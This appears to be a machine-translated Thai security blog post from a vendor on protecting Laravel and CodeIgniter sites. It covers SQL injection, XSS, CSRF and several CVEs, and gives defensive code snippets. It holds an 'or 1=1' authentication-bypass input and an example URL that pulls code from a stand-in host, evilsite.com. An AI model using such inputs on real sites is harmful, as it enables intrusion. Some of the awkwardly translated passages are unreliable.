Laravel และ CodeIgniter เป็นเฟรมเวิร์ก PHP โอเพ่นซอร์สยอดนิยมสองเฟรมที่ใช้สร้างเว็บไซต์ อย่างไรก็ตาม การปรับใช้ไซต์โดยใช้เฟรมเวิร์กเหล่านี้ไม่ได้ทำให้พวกเขาปลอดภัย แต่เป็นแนวทางการพัฒนาที่ปลอดภัยซึ่งเป็นสิ่งสำคัญ การฉีด SQL ใน CodeIgniter และ Laravel เป็นหัวข้อด้านความปลอดภัยที่พบบ่อยที่สุดในฟอรัมความช่วยเหลือ นอกเหนือจาก SQLi แล้ว แนวทางการพัฒนาที่ไม่ปลอดภัยยังทำให้ไซต์เสี่ยงต่อการโจมตี XSS, CSRF, RFI และอื่นๆ อีกมากมาย
ตัวอย่างเว็บไซต์ Laravel/CodeIgniter ที่ถูกแฮ็ก
การโจมตีทั่วไปและแพร่หลาย เช่น การฉีด SQL ใน CodeIgniter หรือ Laravel สามารถประนีประนอมเว็บไซต์ได้ พบผู้ใช้จำนวนมากที่ประสบการโจมตีที่คล้ายกันเพื่อขอความช่วยเหลือในฟอรัมชุมชน Laravel หรือฟอรัมชุมชน CodeIgniter ตัวอย่างดังต่อไปนี้:
อาการของ CodeIgniter หรือ Laravel Hacks
- คุณพบหน้าฟิชชิ่ง Laravel หรือ CodeIgniter ที่ออกแบบมาเพื่อขโมยข้อมูลที่ละเอียดอ่อนบนเว็บไซต์ของคุณ
- ผู้ใช้ของคุณบ่นเกี่ยวกับการถูกเปลี่ยนเส้นทางไปยังไซต์ที่เป็นอันตราย
- คุณพบว่าเนื้อหาที่ไม่มีความหมายปรากฏบนไซต์ Laravel หรือ CodeIgniter ของคุณเนื่องจากการแฮ็กคำหลักของญี่ปุ่นหรือ Pharma Hack เป็นต้น
- เว็บไซต์ Laravel หรือ CodeIgniter ของคุณทำงานช้ามากและแสดงข้อความแสดงข้อผิดพลาด
- ในขณะที่ใช้โฮสติ้งบุคคลที่สาม ข้อความ "บัญชีของคุณถูกระงับ!" จะปรากฏขึ้น
- ไซต์ Laravel หรือ CodeIgniter ของคุณถูกขึ้นบัญชีดำโดยเครื่องมือค้นหา
- บันทึกข้อผิดพลาดแสดงการโจมตีบางอย่าง เช่น SQL Injection ใน CodeIgniter บนไซต์ของคุณ
- บันทึกแสดงการเข้าสู่ระบบเว็บไซต์ของคุณจาก IP ระยะไกล
- ใหม่ ผู้ดูแลระบบโกงจะปรากฏในฐานข้อมูลการเข้าสู่ระบบของเว็บไซต์ของคุณ
ช่องโหว่และการแฮ็กทั่วไป
1) การฉีดโจมตีใน CodeIgniter/Laravel
a) การฉีด SQL
SQL Injection ใน CodeIgniter เป็นการโจมตีที่แพร่หลายและแพร่หลายมาก ตามชื่อที่แนะนำ การโจมตีมุ่งเป้าไปที่ฐานข้อมูลของเซิร์ฟเวอร์ การใช้ประโยชน์จาก SQL Injection ใน Codeigniter ผู้โจมตีสามารถ:
- ดึงข้อมูลจากฐานข้อมูล
- แก้ไขเนื้อหาของฐานข้อมูล พวกเขายังวางฐานข้อมูลทั้งหมดได้!
- ในบางกรณี พวกมันสามารถรับเปลือกย้อนกลับได้
- ข้ามการตรวจสอบสิทธิ์โดยใช้อินพุตเช่น
or 1=1
.
b) การแทรกโค้ด PHP
PHP Code Injection เป็นช่องโหว่ทั่วไปอีกประเภทหนึ่งที่ช่วยให้ผู้โจมตีสามารถรันโค้ดบนเว็บไซต์ Laravel/CodeIgniter อย่างไรก็ตาม มันแตกต่างจากการฉีดคำสั่งในแง่ที่ว่าผู้โจมตีสามารถดำเนินการได้เฉพาะคำสั่งของภาษานั้น ๆ เท่านั้น
การฉีดคำสั่งช่วยให้ผู้โจมตีสามารถรันคำสั่งผ่านเชลล์แบบย้อนกลับได้ ตัวอย่างเช่น พารามิเตอร์ที่มีช่องโหว่สามารถระบุลิงก์ไปยังไฟล์ที่เป็นอันตรายซึ่งมีโค้ด PHP ที่จะดำเนินการ เช่น https://testsite.com/?page=https://evilsite.com/evilcode.php
.
ไฟล์นี้อาจมีฟังก์ชันเช่น phpinfo()
ซึ่งสามารถนำไปใช้ในการรับข้อมูลได้
2) การเขียนสคริปต์ข้ามไซต์
ช่องโหว่ XSS เกิดขึ้นในเว็บไซต์ Laravel/CodeIgniter เนื่องจากขาดการฆ่าเชื้ออินพุต เฟรมเวิร์กทั้งสองมีฟังก์ชันความปลอดภัยที่ออกแบบมาโดยเฉพาะเพื่อหลีกเลี่ยงการโจมตีเหล่านี้ โดยใช้ประโยชน์จากการโจมตี XSS ผู้โจมตีสามารถ:
- ผู้ใช้ฟิชชิ่งเพื่อขโมยคุกกี้และข้อมูลเซสชันที่ละเอียดอ่อนอื่นๆ
- เปลี่ยนเส้นทางผู้ใช้ไปยังไซต์ที่เป็นอันตราย
- ข้ามนโยบายต้นกำเนิดเดียวกัน
3) การปลอมแปลงคำขอข้ามไซต์
การโจมตีนี้มีจุดประสงค์เพื่อหลอกให้ผู้ใช้ดำเนินการที่ไม่ต้องการ อย่างไรก็ตาม สามารถใช้เพื่อจัดการข้อมูลเท่านั้น (เช่น การลบแบบฟอร์ม) แต่ไม่สามารถขโมยหรืออ่านได้ ในกรณีที่เลวร้ายที่สุด หากเหยื่อเป็นผู้ดูแล แอปพลิเคชันทั้งหมดสามารถถูกทำลายได้ การโจมตีนี้ใช้กลอุบายด้านวิศวกรรมสังคมเพื่อหลอกล่อเหยื่อให้คลิกที่ลิงก์ซึ่งดำเนินการคำสั่งต่างๆ เช่น การลบบัญชีในเบื้องหลัง
นอกจากช่องโหว่ทั่วไปเหล่านี้แล้ว ยังมีช่องโหว่บางประการเฉพาะสำหรับ CodeIgniter และ Laravel:
4) ช่องโหว่ที่ทราบใน CodeIgniter
- การยกระดับสิทธิ์ (CVE-2020-10793):
CodeIgniter จนถึงเวอร์ชัน 4.0.0 ช่วยให้ผู้โจมตีระยะไกลได้รับสิทธิ์ผ่าน ID อีเมลที่แก้ไขไปยังหน้า "เลือกบทบาทของผู้ใช้"
- การตรึงเซสชัน (CVE-2018-12071):
มีปัญหาการตรึงเซสชันใน CodeIgniter ก่อนเวอร์ชัน 3.1.9 เนื่องจาก session.use_strict_mode ในไลบรารีเซสชันมีการจัดการอย่างไม่ถูกต้อง
- ปัญหาเอนทิตีภายนอก XML (CVE-2015-3907):
CodeIgniter Rest Server (หรือที่รู้จักในชื่อ codeigniter-restserver) 2.7.1 อนุญาตให้โจมตี XXE
5) ช่องโหว่ที่ทราบใน Laravel
- โหมดดีบัก:การเรียกใช้โค้ดจากระยะไกล (CVE-2021-3129 )
พบช่องโหว่ RCE ใน laravel CMS แล้ว (เวอร์ชัน Laravel <=v8.4.2 ปลายเดือนพฤศจิกายน 2563 (ที่มา)
- การเปิดเผยข้อมูล (CVE-2020-13909):
หน้าจุดระเบิดก่อนเวอร์ชัน 2.0.5 สำหรับ Laravel จัดการกับ globals, _get, _post, _cookie และ _env ผิดพลาด ซึ่งช่วยให้ผู้โจมตีจากระยะไกลเข้าถึงข้อมูลที่อาจละเอียดอ่อนได้
- ดีซีเรียลไลเซชัน (CVE-2019-9081):
องค์ประกอบ Illuminate ของ Laravel Framework 5.7.x มีช่องโหว่ในการดีซีเรียลไลซ์เซชั่นที่สามารถนำไปสู่การเรียกใช้โค้ดจากระยะไกลได้ หากเนื้อหาสามารถควบคุมได้ ซึ่งเกี่ยวข้องกับเมธอด __destruct ของคลาส PendingCommand ใน PendingCommand.php
เว็บไซต์ของคุณใช้ Laravel หรือ CodeIgniter ถูกแฮ็กหรือไม่ ส่งข้อความถึงเราบนวิดเจ็ตแชท
การปกป้อง CodeIgniter/เว็บไซต์ Laravel ของคุณ
หลีกเลี่ยงการฉีด SQL ใน CodeIgniter
CodeIgniter มาพร้อมกับฟีเจอร์ความปลอดภัยมากมาย บางส่วนมีฟังก์ชันและไลบรารีเพื่อหลีกเลี่ยงการฉีด SQL คุณสามารถใช้คุณลักษณะเหล่านี้เพื่อหลีกเลี่ยงการโจมตีได้สามวิธี:
1. หนีการสืบค้นข้อมูลใน CodeIgniter
การหลบหนีข้อมูลก่อนที่จะส่งไปยังแอปพลิเคชัน PHP จะทำให้ข้อมูลปลอดภัย เป็นแนวทางปฏิบัติด้านความปลอดภัยอย่างหนึ่งที่ต้องปฏิบัติตามอย่างสม่ำเสมอ การค้นหาการหลบหนีสามารถทำได้สามวิธี:
- $this->db->escape(): กำหนดประเภทข้อมูลก่อนหลบหนี
- $this->db->escape_str(): ไม่ได้กำหนดประเภทข้อมูล เพียงแค่หลีกเลี่ยง
- $this->db->escape_like_str(): ใช้ได้กับเงื่อนไข
ตัวอย่างเช่น ดูข้อมูลโค้ดด้านล่าง
<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>
ในโค้ดนี้ ฟังก์ชัน $this->db->escape() ขั้นแรกกำหนดประเภทข้อมูลเพื่อหนีเฉพาะข้อมูลสตริงเท่านั้น นอกจากนี้ยังเพิ่มเครื่องหมายคำพูดเดี่ยวรอบข้อมูลที่ป้อนโดยอัตโนมัติ ซึ่งจะป้องกันไม่ให้ SQL Injection ใน CodeIgniter
2. การผูกข้อความค้นหาใน Codeigniter
นอกเหนือจากการล้างข้อมูลอินพุต การสืบค้นที่มีผลผูกพันยังสามารถทำให้โค้ดง่ายขึ้นในเว็บไซต์ CodeIgniter วิธีนี้ช่วยให้ระบบใส่ข้อความค้นหา ซึ่งจะช่วยลดความซับซ้อนสำหรับนักพัฒนา ตัวอย่างเช่น ดูข้อมูลโค้ดด้านล่าง:
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', '[email protected]'));?>
ที่นี่ คุณอาจสังเกตเห็นเครื่องหมายคำถามแทนค่าในบรรทัดแรก เนื่องจากการผูกข้อความค้นหา เครื่องหมายคำถามเหล่านี้จึงถูกแทนที่จากค่าในอาร์เรย์ในบรรทัดที่สอง ในตัวอย่างก่อนหน้านี้ เราเห็นการหลีกเลี่ยงการค้นหาด้วยตนเอง ที่นี่ วิธีนี้ทำให้สำเร็จโดยอัตโนมัติ ดังนั้นจึงหยุดการฉีด SQL ใน CodeIgniter
3. Active Class Record ใน CodeIgniter
คุณสมบัติบันทึกที่ใช้งานอยู่ของ CodeIgniter ช่วยให้เราสามารถดำเนินการฐานข้อมูลด้วยบรรทัดโค้ดหรือสคริปต์ขั้นต่ำ เนื่องจากเป็นฟังก์ชันของระบบ การหนีแบบสอบถามจึงทำโดยอัตโนมัติ ตัวอย่างเช่น สามารถดึงข้อมูลทั้งหมดของตารางได้ด้วยแบบสอบถามง่ายๆ เพียงคำเดียว:
$query = $this->db->get('mytable');
หลีกเลี่ยงการฉีด SQL ใน Laravel
การแมปเชิงวัตถุใน Laravel ใช้การเชื่อมโยงข้อมูลอ็อบเจ็กต์ PHP เพื่อล้างข้อมูลอินพุตของผู้ใช้ซึ่งจะช่วยป้องกันการฉีด SQL Laravel การเชื่อมโยงพารามิเตอร์จะเพิ่มเครื่องหมายคำพูดโดยอัตโนมัติด้วย ซึ่งจะช่วยป้องกันการป้อนข้อมูลที่เป็นอันตราย เช่น หรือ 1=1 จากการเลี่ยงผ่านการตรวจสอบสิทธิ์
นี่คือการใช้งานการสืบค้นการโยงที่มีชื่อใน Laravel:
$results = DB::select('select * from users where id = :id', ['id' => 1]);
หลีกเลี่ยงการเขียนสคริปต์ข้ามไซต์ใน Codeigniter
เพื่อป้องกันการโจมตี XSS ที่เป็นไปได้ CodeIgniter มาพร้อมกับตัวกรอง XSS ที่สร้างไว้ล่วงหน้า ในกรณีที่ตัวกรองนี้พบคำขอที่เป็นอันตราย ตัวกรองจะแปลงเป็นเอนทิตีของอักขระ ซึ่งจะทำให้แอปพลิเคชันปลอดภัย ตัวกรองนี้สามารถเข้าถึงได้ผ่านทาง xss_clean() วิธีการ:
$data = $this->security->xss_clean($data);
อย่างไรก็ตาม บางครั้งผู้โจมตีสามารถแทรกโค้ดที่เป็นอันตรายภายในไฟล์ภาพได้ เพื่อป้องกันการโจมตีดังกล่าว ไฟล์ที่อัพโหลดสามารถตรวจสอบความปลอดภัยได้ ตัวอย่างเช่น ดูโค้ดด้านล่าง:
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}
รหัสนี้จะคืนค่าบูลีนเป็น True หากภาพนั้นปลอดภัยและในทางกลับกัน อย่างไรก็ตาม เป็นที่น่าสังเกตว่าแนะนำให้ใช้ html_escape() เมธอด หากคุณต้องการกรองค่าแอตทริบิวต์ HTML
หลีกเลี่ยงการเขียนสคริปต์ข้ามไซต์ใน Laravel
การใช้ Escape String ทำให้สามารถหลีกเลี่ยงการโจมตี XSS ได้ในเว็บไซต์ Laravel สตริง Escape จะป้องกันไม่ให้มีการใช้อินพุตที่ไม่ถูกสุขอนามัย ในเวอร์ชัน Laravel> 5.1 คุณลักษณะนี้จะเปิดใช้งานโดยค่าเริ่มต้น ดังนั้นเมื่อป้อนข้อมูลเช่น
การจำกัดความยาวของอินพุตที่ผู้ใช้ระบุสามารถป้องกันการโจมตี XSS และ SQLi บางประเภทได้ สามารถทำได้โดยใช้โค้ด HTML ด้านล่าง:
<input type="text" name="task" maxlength="10">
สามารถทำได้เช่นเดียวกันผ่านฟังก์ชัน JS {% raw %} {{}} {% endraw %} ไวยากรณ์ใน Laravel สามารถหลีกเลี่ยงเอนทิตี HTML ที่เป็นอันตรายใดๆ โดยค่าเริ่มต้นได้
มีบางไลบรารีที่ออกแบบมาเพื่อป้องกัน Laravel XSS โดยเฉพาะ หากคุณใช้เครื่องมือเทมเพลตอย่าง Blade มันจะใช้การหลบหนีโดยอัตโนมัติเพื่อป้องกันการโจมตีดังกล่าว
การป้องกันการโจมตี CSRF ใน CodeIgniter
สามารถเปิดใช้งานการป้องกัน CSRF ใน CodeIgniter โดยแก้ไขไฟล์ application/config/config.php เพียงเพิ่มโค้ดต่อไปนี้ต่อท้ายไฟล์:
$config['csrf_protection'] = TRUE;
หากคุณใช้ Form Helper คุณสามารถใช้ฟังก์ชัน form_open() เพื่อแทรกฟิลด์โทเค็น CSRF ที่ซ่อนอยู่ในแบบฟอร์มโดยค่าเริ่มต้น วิธีอื่นในการใช้การป้องกัน CSRF คือการใช้ get_csrf_token_name() และ get_csrf_hash() . สำหรับการอ้างอิง โปรดดูที่ข้อมูลโค้ดสองรายการด้านล่างของแบบฟอร์มและการใช้งานฝั่งเซิร์ฟเวอร์:
<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />
————————————————————
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
การสร้างโทเค็นใหม่ยังเป็นแนวทางปฏิบัติที่ปลอดภัยอีกวิธีหนึ่งในการป้องกันการโจมตี CodeIgniter CSRF อย่างไรก็ตาม การสร้างโทเค็นใหม่อาจเป็นปัญหาได้ เนื่องจากผู้ใช้อาจต้องตรวจสอบความถูกต้องอีกครั้งหลังจากนำทางไปยังแท็บอื่น การสร้างโทเค็นใหม่สามารถทำได้โดยใช้พารามิเตอร์การกำหนดค่าต่อไปนี้:
$config['csrf_regenerate'] = TRUE;
การป้องกันการโจมตี CSRF ใน Laravel
โทเค็นถูกนำมาใช้ในรูปแบบ Laravel เพื่อป้องกันการโจมตี CSRF โทเค็นเหล่านี้จะถูกเรียกโดยใช้การเรียก AJAX ซึ่งสามารถพบได้ในแต่ละรูปแบบ ข้อมูลจากโทเค็นคำขอจะจับคู่กับข้อมูลที่จัดเก็บไว้ในเซิร์ฟเวอร์สำหรับการตรวจสอบความผิดปกติในเซสชันของผู้ใช้ โทเค็น CSRF สามารถส่งผ่านไปยังแบบฟอร์มโดยใช้รหัสต่อไปนี้ (Blade Templates Implementation):
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>
อย่างไรก็ตาม โทเค็น CSRF สามารถเพิ่มได้ตามค่าเริ่มต้นในขณะที่ใช้แพ็คเกจ LaravelCollective/HTML
บล็อกการรายงานข้อผิดพลาดใน CodeIgniter
ข้อผิดพลาดของไฟล์มีประโยชน์ในสภาพแวดล้อมการพัฒนา อย่างไรก็ตาม บนเว็บ ข้อผิดพลาดของไฟล์ CodeIgniter อาจทำให้ข้อมูลที่ละเอียดอ่อนรั่วไหลไปยังผู้โจมตีได้ ดังนั้นจึงเป็นแนวทางปฏิบัติที่ปลอดภัยในการปิดการรายงานข้อผิดพลาด
ข้อผิดพลาด PHP
หากต้องการปิดการรายงานข้อผิดพลาด PHP ให้ใช้ไฟล์ index.php เพียงส่งค่าศูนย์เป็นอาร์กิวเมนต์ไปยังฟังก์ชัน error_reporting() ดูตัวอย่างด้านล่างเพื่อใช้อ้างอิง:
error_reporting(0);
อย่างไรก็ตาม สำหรับ CodeIgniter เวอร์ชัน 2.0.1 ขึ้นไป ค่าคงที่ของสภาพแวดล้อมใน index.php สามารถตั้งค่าไฟล์เป็น “การผลิต” เพื่อปิดการใช้งานเอาต์พุตข้อผิดพลาด PHP
ข้อผิดพลาดของฐานข้อมูล
ข้อผิดพลาดของฐานข้อมูลสามารถปิดใช้งานได้โดยการแก้ไข application/config/database.php ไฟล์. เพียงตั้งค่าตัวเลือก db_debug เป็น FALSE ดูตัวอย่างด้านล่างเพื่อใช้อ้างอิง:
$db['default']['db_debug'] = FALSE;
บันทึกข้อผิดพลาด
วิธีที่ชาญฉลาดในการทำเช่นนี้คือการถ่ายโอนข้อผิดพลาดที่เกิดขึ้นกับไฟล์บันทึกซึ่งจะป้องกันไม่ให้แสดง ตัวเลือกเกณฑ์การบันทึกของ /config/config.php ไฟล์สามารถตั้งค่าเป็น 1 เพื่อจุดประสงค์นี้ ดูตัวอย่างด้านล่าง:
$config['log_threshold'] = 1;
ใช้ไฟร์วอลล์เว็บแอปพลิเคชันสำหรับ Laravel หรือ CodeIgniter
ผู้โจมตีค้นหาวิธีใหม่ๆ ในการประนีประนอมเว็บไซต์ของคุณอยู่เสมอ ดังนั้น แนวทางปฏิบัติที่ปลอดภัยอีกประการหนึ่งคือการใช้ไฟร์วอลล์หรือโซลูชันการรักษาความปลอดภัยบางประเภท Astra Security เป็นโซลูชันด้านความปลอดภัยที่ออกแบบมาเพื่อตอบสนองความต้องการที่ยืดหยุ่นของคุณ เพียงส่งข้อความถึงเราบนวิดเจ็ตแชทและเข้าใกล้การรักษาความปลอดภัยของเว็บไซต์ของคุณอีกขั้น รับการสาธิตตอนนี้!
Astra Security ให้การตรวจสอบความปลอดภัยที่ครอบคลุมสำหรับเว็บไซต์ Laravel หรือ CodeIgniter ของคุณด้วยการทดสอบที่ใช้งานมากกว่า 80 รายการ ซึ่งเป็นการผสมผสานที่ลงตัวระหว่างการทดสอบอัตโนมัติและการทดสอบด้วยตนเอง